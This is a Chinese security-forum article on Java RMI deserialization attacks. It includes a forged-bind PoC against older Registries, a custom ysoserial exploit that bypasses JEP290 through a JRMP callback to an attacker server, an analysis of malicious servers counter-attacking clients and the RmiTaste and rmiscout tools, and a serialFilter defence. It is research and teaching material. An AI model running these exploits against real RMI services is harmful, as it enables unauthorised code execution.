阅读本文需要具有一定的RMI基础。基础相关可参考 这篇文章。本文将会介绍如下内容:1. JDK8u232以下…
阅读本文需要具有一定的RMI基础。基础相关可参考 这篇文章。
本文将会介绍如下内容:
- JDK8u232以下版本的JDK Registry端反序列化问题
- RMI Client端被Server端打反序列化的问题
- 分析RMI相关工具
ysoserial exp
、rmitaste
和rmiscout
是否有被反制的可能。
调试RMI
环境:jdk 8
工欲善其事必先利其器,在开始分析之前,需要先了解如何调试RMI。
由于RMI存在 Client、Server、Registry端。Client端比较好调试,只要下断点跟进调用的方法即可(bind()
, lookup()
这些)。但是 Server端却不太好调试。毕竟 LocateRegistry.createRegistry()
的操作是新开线程等待连接,我们不大可能往 LocateRegistry.createRegistry()
上打断点逐步跟进调试。
最佳的方法是把断点下在 rt.jar
的 sun/rmi/server/UnicastServerRef#dispatch
中。rmi Server的起点就在这里。并且调试时最好Client和Server分开两个项目运行。
示例:
Registry registry = LocateRegistry.createRegistry(1099);
Naming.lookup("rmi://127.0.0.1:1099/myserver1");
打断点后Debug,可以发现成功Attach
左下角的 Debugger栏中还可以选择调试线程。目前调试的是 RMI Server的线程。
了解怎么调试 RMI后,就可以开始 RMI 反序列化问题的探讨了。
攻击 Registry(< JDK8u121)
了解过RMI基础就会知道,RMI其实分为了三个部分:Registry, Server, Client
Demo:
Server.java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyRmiServiceImpl myRmiService = new MyRmiServiceImpl();
registry.bind("myRmiService", myRmiService);
}
}
MyRmiService.java
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface MyRmiService extends Remote {
public void hello() throws RemoteException;
}
MyRmiServiceImpl.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class MyRmiServiceImpl extends UnicastRemoteObject implements MyRmiService {
public MyRmiServiceImpl() throws RemoteException {
}
public void hello() throws RemoteException {
System.out.println("[Server] hello");
}
}
Client.java
import java.rmi.Naming;
public class Client {
public static void main(String[] args) throws Exception {
MyRmiServiceImpl myRmiService = new MyRmiServiceImpl();
Naming.bind("rmi://192.168.232.1:1099/myRmiService", myRmiService);
}
}
Client端的bind
Client端bindRemote对象
一般都使用 Naming.bind()
。跟进如下:
java/rmi/Naming
public static void bind(String name, Remote obj){
ParsedNamingURL parsed = parseURL(name);
Registry registry = getRegistry(parsed);
if (obj == null)
throw new NullPointerException("cannot bind to null");
registry.bind(parsed.name, obj);
}
观察代码可以知道,Naming#bind()
帮我们解析传入的rmi协议字符串,并根据host
和port
创建Registry的实例。
跟进 registry.bind()
操作。由于是 客户端执行的 bind()
,所以此时调用的 bind()
是Stub的bind()
。
rt.jar!/sun/rmi/registry/RegistryImpl_Stub
public void bind(String var1, Remote var2) {
try {
//获得一个RemoteCall。用于RMI请求的发送
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
//序列化写入要bind的Remote对象
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
//调用RemoteCall发送RMI bind请求
super.ref.invoke(var3);
super.ref.done(var3);
}
....
}
由此得知,Remote对象
被写入到了RemoteCall对象
中,并发送了RMI请求。下面来看看Registry端接收到bind请求后如何处理的。
Registry端的bind
低版本的JDK(忘了多低了,不过也不重要)RMI并没有强制要求Registry和Server必须在同一主机上,所以是允许远程主机向Registry进行bind()
操作的。可是后来RMI在RegistryImpl#bind()
方法中添加了主机验证,即下图中的 checkAccess()
,只能是本地主机向Registry发起bind()
请求。
rt.jar!/sun/rmi/registry/RegistryImpl
检测的调用栈如下,感兴趣可以自行调试下。
<init>:47, BindException (java.net)
bind0:-1, DualStackPlainSocketImpl (java.net)
socketBind:106, DualStackPlainSocketImpl (java.net)
bind:387, AbstractPlainSocketImpl (java.net)
bind:190, PlainSocketImpl (java.net)
bind:375, ServerSocket (java.net)
虽说 RegistryImpl#bind()
使用了checkAccess()
。但是观察调用栈可知,进入 RegistryImpl#bind()
前还有几次函数调用。
进入 RegistryImpl_Skel#dispatch()
进行查看,代码如下:
//这里的var2,var3都是Client端bind()请求发送的数据。下文会分析客户端如何发送bind()请求
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) {
ObjectInput var11;
switch(var3) {
case 0:
try {
//由于RMI是使用反序列化传送类的
//这里需要反序列化操作
var11 = var2.getInputStream();
//反序列化类名
var7 = (String)var11.readObject();
//反序列化Remote对象
var8 = (Remote)var11.readObject();
}
.....
//反序列化结束后才判断Client端是否本机
var6.bind(var7, var8);
.....
}
}
可以发现,在调用 RegistryImpl#bind()
之前就已经对客户端发来数据进行反序列化了。我们的目标就是触发到这个反序列化。只要触发到反序列化,后面就算 checkAccess()
限制了IP也没有关系。
攻击面
使用对象代理,AnnotationInvocationHandler打CC1
综上所述,Registry端会反序列化Client发来的Remote对象
。但由于Naming.bind()
接收 的bind对象类型只能是 Remote对象
。想直接打反序列化链子是不行的,因为这些链子的入口类都没有实现Remote接口
,连Naming.bind()
都没法正常执行。
怎么办呢?参考文章中给出的解决办法是用对象代理。步骤如下:
- 对象代理实现
Remote接口
,以便Naming.bind()
正常发送 AnnotationInvocationHandler
是CC1的入口,我们可以让对象代理使用该InvocationHandler
- 如此一来我们便可依赖
AnnotationInvocationHandler
打CC1了
这里直接参考 ysoserial 的 exploit/RMIRegistryExploit 即可,不详细展开。
仿写Naming.bind(),发送任意类型的对象
对象代理有限制的地方就是必须要找到一个能打exp的InvocationHandler
。所以不太适配所有反序列化链子。
研究一阵发现,只是Client端 Naming.bind()
参数必须接受一个Remote对象,编译不通过而已。若我们仿写一个 Naming.bind()
,强制将对象发出,理论上就能发送任意反序列化链子了。
poc:
//HashMap payload
HashMap hashMap = new HashMap<>();
//仿写的 Naming#bind()
LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint("127.0.0.1", 1099, null, null),
false);
UnicastRef unicastRef = new UnicastRef(liveRef);
RegistryImpl_Stub registryImpl_stub = new RegistryImpl_Stub();
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
//第三个参数 0 表示 bind 请求
RemoteCall remoteCall = unicastRef.newCall(registryImpl_stub, operations, 0, 4905912898345647071L);
//序列化 payload 对象
ObjectOutput outputStream = remoteCall.getOutputStream();
outputStream.writeObject(hashMap);
//发送RMI请求
unicastRef.invoke(remoteCall);
POC其实就是照着 Naming#bind()
仿写了一波。RMI地址在TCPEndpoint
中指定。
实现效果如下:
Registry端在HashMap#readObject
打上断点,发送POC,可在Registry端的 HashMap#readObject
成功断下断点。
当然这个POC可以自己整到ysoserial里头,配合里面的链子来打。这里就不展开了。
攻击 Registry(JDK8u121 <= & < jdk8u242-b07)
这些jdk版本中不能使用前文用的bind来攻击Registry端了,原因如下:
- RMI Registry的
bind()
先检测来源ip再反序列化,导致远端攻击失效。
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) {
.....
switch(var3) {
case 0:
//先检测来源IP,若不是本地直接block
RegistryImpl.checkAccess("Registry.bind");
try {
var9 = var2.getInputStream();
var7 = (String)var9.readObject();
var80 = (Remote)var9.readObject();
}
.....
var6.bind(var7, var80);
}
}
- 由于JEP290的加入,导致RMI Server端在反序列化Stub发送的数据时,使用白名单机制进行了类检测,阻断了恶意类的直接反序列化。
关于RMI的白名单机制:
在 rt.jar!/sun/rmi/server/UnicastServerRef 中, oldDispatch()
方法在调用dispatch()
前先调用了 unmarshalCustomCallData()
方法
unmarshalCustomCallData()
方法如下,该方法的主要目的是为反序列化注册一个Filter
。
protected void unmarshalCustomCallData(ObjectInput var1) throws IOException, ClassNotFoundException {
//设置反序列化白名单。至于 AccessController 和 setObjectInputFilter是啥可以参考文末给出的链接
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
//这里的 UnicastServerRef.this.filter 就是 RegistryImpl的实例
Config.setObjectInputFilter(var2, UnicastServerRef.this.filter);
return null;
}
});
}
最终会在 sun/rmi/registry/RegistryImpl#registryFilter()
进行过滤。主要逻辑如下:
如果嫌IDEA反编译class的代码长得丑,可以看这个在线源码 的。
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
虽然Proxy类
是允许的,可是InvokerHandler
等类却不在白名单中,所以直接发反序列化payload是不成的。
如何破局,只能把注意点转移到白名单中的类。下面直接放exp,然后再慢慢解释每个东西都是干嘛的。
自定义开发ysoserial 配合 exploit/JRMPServer 攻击 RMI Server
下面我们需要自定义开发ysoserial,并且使用ysoserial
中内置的exploit/JRMPServer
来帮助我们完成攻击。
在攻击之前,需要先了解一些ysoserial相关的知识。
Ysoserial相关
项目地址:https://github.com/frohoff/ysoserial
payload
目录下的都是反序列化的payload。
exploit
目录下的都是执行攻击使用的exp
假设我们想自定义一个exp,但反序列化payload懒得自己写了,想用ysoserial现成的。如何拿ysoserial里的反序列化payload呢?定位到payloads
目录下,可以发现这些反序列化payload都有一个 getObject()
函数:
我们想拿到某个反序列化payload直接调用对应的getObject()
即可。
自定义 ysoserial exp
被攻击的Server端代码同前文的Demo。
下面直接先上手写Exp。待Exp能完成攻击后再慢慢分析原理。
该Exp需要用到payloads/JRMPClient
的反序列化Payload。但是原本的payloads/JRMPClient
payload返回的是Registry
类型作payload,需要让其返回类型为RemoteObjectInvocationHandler
。最佳方式是在源代码的基础上新增一个函数,用于返回我们需要的对象类型。具体为什么需要RemoteObjectInvocationHandler
类型的payload,后面会细说
JRMPClient.java如下,新增一个函数 getRemoteObjectInvocationHandler
.....
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public RemoteObjectInvocationHandler getRemoteObjectInvocationHandler(final String command){
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
return obj;
}
.....
在ysoserial/exploit
下新建一个exp。命名随意,这里命名为Pan_RMIExp1
,如下所示。该exp的主要作用是发起一个lookup()
请求并携带RemoteObjectInvocationHandler
:
package ysoserial.exploit;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.exploit.PanDomain.RemoteStubTmp;
import java.io.IOException;
import java.io.ObjectOutput;
import java.lang.reflect.Proxy;
import java.rmi.MarshalException;
import java.rmi.Remote;
import java.rmi.server.*;
public class Pan_RMIExp1 {
public static void main(String[] args) throws Exception{
String host = args[0];
int port = Integer.parseInt(args[1]);
String evilServer = args[2];
exp1(host, port, evilServer);
}
public static void exp1(String host,int port, String evilServer) throws Exception{
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, null, null),
false);
UnicastRef unicastRef = new UnicastRef(liveRef);
ysoserial.payloads.JRMPClient jrmpClient = new ysoserial.payloads.JRMPClient();
RemoteObjectInvocationHandler remoteObjectInvocationHandler = jrmpClient.getRemoteObjectInvocationHandler(evilServer);
Remote r = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class},
remoteObjectInvocationHandler
);
RemoteStub remoteStubTmp = new RemoteStubTmp();
RemoteCall remoteCall = unicastRef.newCall(remoteStubTmp, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = remoteCall.getOutputStream();
var3.writeObject(r);
} catch (IOException var17) {
throw new MarshalException("error marshalling arguments", var17);
}
unicastRef.invoke(remoteCall);
}
}
操作流程:
- 使用 ysoserial 的
exploit/JRMPListener
开启恶意RMI Server。参数输入为7771 URLDNS http://pipi.7z0fpi.dnslog.cn
- 开启服务端的RMI Server
- 利用刚刚编写的exp对普通服务端发起攻击请求。参数输入为
127.0.0.1 1099 127.0.0.1:7771
发送攻击后,被攻击的Server端可在 HashMap#readObject
处断点。并且dnslog也有记录。
攻击流程
攻击流程走一遍后不难发现。流程如图所示:
明白基本的流程后,按照上图的流程来解释这个exp咋写的。解释时只说关键点,自己动手跟跟其实就能理解的了。
p1: payload1是如何构造的
翻看的代码,不难发现其仿写了 RMI 的请求代码。
UnicastRef
用于发送RMI请求,而LiveRef
用于配置UnicastRef
的请求地址- 通过对象代理准备一个
Remote对象
,其InvocationHandler
为RemoteObjectInvocationHandler
。这个InvocationHandler
在registryFilter
的白名单中。为RemoteObjectInvocationHandler
设置了evilServer的地址。 - 配置
UnicastRef
,newCall()
的第三个参数 2 表示是lookup()
请求。为什么要用lookup请求呢?前文说过jdk8u较高版本bind请求检测了来源IP,但是lookup却没有。 - 至于为什么要手工仿写一个lookup请求,因为自带的
Naming.lookup
只能发String类型
的对象,也由于Naming类
是final
的没法继承重写,所以这里便手工仿写一个。
p2: 为什么Server会反连Evil Server
当此exp发送到Server端时,会走到 RegistryImpl_Skel#dispatch
的 case 2
,也就是Server处理lookup请求的地方。
走过readObject()
后,程序会来到 RemoteObject#readObject
,RemoteObject
是RemoteObjectInvocationHandler
父类。
跟进 ref.readExternal(in);
,经过如下调用:
UnicastRef#readExternal
LiveRef#read
在LiveRef#read
中,用反序列化还原了 RemoteObjectInvocationHandler
。我们在exp为 RemoteObjectInvocationHandler
配置的evilServer的地址就顺利的赋值给 LiveRef var5
,并返回。返回后会赋值给 UnicastRef.ref
。若后续程序有调用UnicastRef.ref#invoke
,则可反连evilServer。
后续调用 UnicastRef.ref#invoke
的入口就在 RegistryImpl_Skel#dispatch
中:
触发 UnicastRef.ref#invoke
的调用栈为:
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
在此处开始反连evilServer。
p3: Evil Server作用
这个会在下节 "Client端被反序列化攻击" 进行一定的分析,现在只需要知道 ysoserialexploit/JRMPListener
的作用就是发送反序列化payload,并且设置一个关键的字节。这个关键字节下文会说。
p4: Server为何会反序列化payload2
接着p3的流程,跟进UnicastRef#invoke
,其调用了 StreamRemoteCall#executeCall
。这个函数简单抽象如下:
public void executeCall() {
.....
var1 = this.in.readByte();
switch(var1) {
case 1:
return;
case 2:
var14 = this.in.readObject();
......
}
}
var1是根据evilServer发来的数据反序列化的来的。得是2才能进入反序列化。普通的RMI Server在这里都是返回的1。前文p3说的 "ysoserialexploit/JRMPListener
的作用就是发送反序列化payload,并且设置一个关键的字节 " 其实就是这个字节。
Server作为Client反连evilServer的调用栈中并没有设置序列化Filter
,所以在这个阶段就能正常打反序列化payload了。
直接攻击Registry被限制(>= jdk8u242-b07)
在jdk8u242-b07
这一版本里,可以发现在dispatch()
中不再直接readObject()
反序列化Client端数据,而是采用readString()
的形式避免了直接反序列化。在线源码
所以目前来说,暂时无法通过Client端直接发送payload给Registry端进行攻击了。
Client端被反序列化攻击
由于RMI通信时,所有数据对象都是序列化传输的。所以Client端被反序列化攻击也不足为奇。
本节的Demo中Server端同前文的Demo。Client端代码如下:
import java.rmi.Naming;
import java.rmi.Remote;
public class Client {
public static void main(String[] args) throws Exception {
Remote lookup = Naming.lookup("rmi://192.168.232.1:1099/myRmiService");
}
}
仅仅只是做了一个lookup()
操作。Debug调试时可以发现,在sun.rmi.registry.RegistryImpl_Stub#lookup
处,请求完Registry后就对回传数据进行反序列化:
public Remote lookup(String var1){
StreamRemoteCall var2 = (StreamRemoteCall)this.ref.newCall(this, operations, 2, 4905912898345647071L);
.....
//发起RMI请求
this.ref.invoke(var2);
//反序列化Registry端数据
ObjectInput var4 = var2.getInputStream();
var20 = (Remote)var4.readObject();
....
}
前文分析攻击Registry时并没有详细分析Registry如何包装数据返回的,如何自定义这些数据,这一部分值得分析。
在sun.rmi.registry.RegistryImpl_Skel#dispatch
中,switch()
判断了Client端发来的opnum
后,代码如下:
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4){
.....
RegistryImpl var6 = (RegistryImpl)var1;
StreamRemoteCall var7 = (StreamRemoteCall)var2;
switch(var3) {
.....
case 2:
//获取Client 想要lookup的服务名
var9 = (ObjectInputStream)var7.getInputStream();
var8 = SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);
//根据服务名拿到真实的Remote Object对象
var81 = var6.lookup(var8);
//获取对象输出流
ObjectOutput var83 = var7.getResultStream(true);
//将Remote Object对象写到对象输出流中
var83.writeObject(var81);
....
}
最后Reigstry端会将这些对象输出流回传给Client。完成一个RMI lookup()
请求。
分析后可知,Registry端将Remote Object对象
封装进RemoteCall
的对象输出流中,若我们自己仿写一个恶意Registry端,那是不是所有来lookup()
恶意Registry端的Client都会被攻击呢?
确实是这样,ysoserial中就有一个叫exploit/JRMPServer
的exp,前文我们也用过它来打过"作为Client端的Registry"。不过它打Client端的反序列化点并不是在sun.rmi.registry.RegistryImpl_Stub#lookup
,而是在sun.rmi.transport.StreamRemoteCall#executeCall
。调用栈为:
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
lookup:123, RegistryImpl_Stub (sun.rmi.registry)
lookup:101, Naming (java.rmi)
代码如下:
public void executeCall() {
.....
this.getInputStream();
var1 = this.in.readByte();
switch(var1) {
.....
case 2:
Object var14;
try {
var14 = this.in.readObject();
}
.....
}
}
所以,当RMI Client端对exploit/JRMPServer
开启的RMI Server发起了RMI请求,将会被反制。
RMI相关工具浅析
既然Client端会被Server端反打,那那些利用RMI作攻击的工具是否存在被反制的风险呢?下面来简单看看。
在测试之前,先把ysoserial的exploit/JRMPListener
起来以便后续测试。
ysoserial - exploit/RMIRegistryExploit
该Exp会在main()
中对RMI Registry进行list()
操作:
public static void main(final String[] args) throws Exception {
.....
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
}
....
}
而list()
操作会调用UnicastRef#invoke
,这个调用点正好是前文分析"Client端被反序列化攻击"中,Client端被打的调用链。所以该Exp存在被Server端反制的风险。
贴个调用栈:
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
list:86, RegistryImpl_Stub (sun.rmi.registry)
main:59, RMIRegistryExploit (ysoserial.exploit)
RmiTaste
该工具项目地址如下,项目的ReadMe已经说的很清楚了:
https://github.com/STMCyber/RmiTaste
主要用于RMI服务的探测、枚举和攻击。下面来看看使用该工具是否会被Server端反制。
connect模式
该模式用于探测目标是否存在RMI服务,其核心原理是使用了RegistryImpl_Stub#list
来探测:
m0.rmitaste.rmi.RmiTarget#getRegistryUnencrypted
前文也说过,list()
操作最终会使用UnicastRef#invoe
。该函数会导致Client端被反序列化攻击。
触发到这的调用栈:
getRegistryUnencrypted:31, RmiTarget (m0.rmitaste.rmi)
getRegistry:61, RmiTarget (m0.rmitaste.rmi)
connect:82, RmiTarget (m0.rmitaste.rmi)
connect:43, Enumerate (m0.rmitaste.rmi.exploit)
call:33, ConnectionCommand (m0.rmitaste.commands)
call:15, ConnectionCommand (m0.rmitaste.commands)
executeUserObject:1933, CommandLine (picocli)
access$1100:145, CommandLine (picocli)
executeUserObjectOfLastSubcommandWithSameParent:2332, CommandLine$RunLast (picocli)
handle:2326, CommandLine$RunLast (picocli)
handle:2291, CommandLine$RunLast (picocli)
execute:2159, CommandLine$AbstractParseResultHandler (picocli)
execute:2058, CommandLine (picocli)
main:48, RmiTaste (m0.rmitaste)
其他模式
RmiTaste的其他模式(enum、attack、call)都需要使用Enumerate#connect
进行调用。而该方法正好在上文分析的触发反序列化的链子中。所以,RmiTaste工具也存在被反制的风险。更何况RmiTaste需要依赖ysoserial,所以我们完全可以对RmiTaste打各种反序列化链。
rmiscout
该工具项目地址如下,项目的ReadMe已经说的很清楚了:
https://github.com/BishopFox/rmiscout
主要用爆破RMI服务,猜测其对应的方法签名。主要攻击手段是RMI Remote Object的反序列化。
rmiscout的所有模式(Wordlist、Bruteforce、Exploit、Invoke、Probe)都需要使用 RMIConnector#RMIConnector
对RMI发起连接,核心逻辑就是调用RegistryImpl_Stub#list
,前面说过该方法会导致Client端被反序列化攻击。
防御反制
我们可以通过设置反序列化白名单/黑名单的方式,确保自己的Payload成功发送且不会反序列化恶意Server端发来的payload。
第一步,创建一个java.security.policy
文件,如下:
policy.txt
grant {
permission java.security.AllPermission "*";
};
第二步,运行工具时开启java.security.manager
,指定policy文件,设置反序列化Filter。serialFilter
的黑名单列表需要自行设置,可以设置为一些反序列化链的类。
下面演示仅使用URLDNS做证明,所以阻止序列化的类为java.net.URL
命令
java -Djava.security.manager -Djava.security.policy=D:\work\java\tools\policy.txt -Djdk.serialFilter=!java.net.URL -jar rmiscout-1.4-SNAPS HOT-all.jar list 127.0.0.1 1099
对于恶意RMI Server,由于反序列化Filter的机制,可对工具进行保护。
若探测恶意RMI Server时不加保护,将会被反制:
Reference
ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener
- 本文作者: JOHNSON
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/742
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!